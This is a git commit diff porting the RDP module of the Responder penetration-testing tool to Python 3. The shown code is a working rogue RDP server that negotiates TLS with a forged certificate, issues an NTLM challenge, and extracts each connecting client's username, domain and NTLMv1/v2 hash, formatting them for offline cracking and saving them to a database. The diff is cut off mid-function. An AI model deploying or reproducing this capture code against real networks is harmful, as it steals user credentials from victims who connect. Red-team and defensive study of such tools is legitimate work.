Added py3 and py2 compatibility + many bugfix

This commit is contained in:
lgandx 2020-01-09 14:47:56 -03:00
parent c52843a535
commit b510b2bb25
49 changed files with 2771 additions and 2058 deletions

View file

@ -14,71 +14,79 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler
from utils import *
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
import struct
import re
import ssl
import codecs
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex'))
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({
'module': 'RDP',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': NTLMHash,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'RDP',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': NTLMHash,
'hash': SMBHash,
'fullhash': WriteHash,
})
def FindNTLMNegoStep(data):
NTLMStart = data.find('NTLMSSP')
NTLMStart = data.find(b'NTLMSSP')
NTLMString = data[NTLMStart:]
NTLMStep = NTLMString[8:12]
if NTLMStep == "\x01\x00\x00\x00":
if NTLMStep == b'\x01\x00\x00\x00':
return NTLMStep
if NTLMStep == "\x03\x00\x00\x00":
if NTLMStep == b'\x03\x00\x00\x00':
return NTLMStep
else:
return False
@ -88,44 +96,44 @@ class RDP(BaseRequestHandler):
try:
data = self.request.recv(1024)
self.request.settimeout(30)
Challenge = RandomChallenge()
Challenge = RandomChallenge()
if data[11:12] == "\x01":
if data[11:12] == b'\x01':
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(buffer1)
self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
x.calculate()
SSLsock.write(str(x))
SSLsock.write(NetworkSendBufferPython2or3(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
ParseNTLMHash(data,self.client_address[0], Challenge)
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
if data[len(data)-4:] == "\x03\x00\x00\x00":
if data[len(data)-4:] == b'\x03\x00\x00\x00':
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(buffer1)
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
x.calculate()
SSLsock.write(str(x))
SSLsock.write(NetworkSendBufferPython2or3(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
ParseNTLMHash(data,self.client_address[0], Challenge)
else: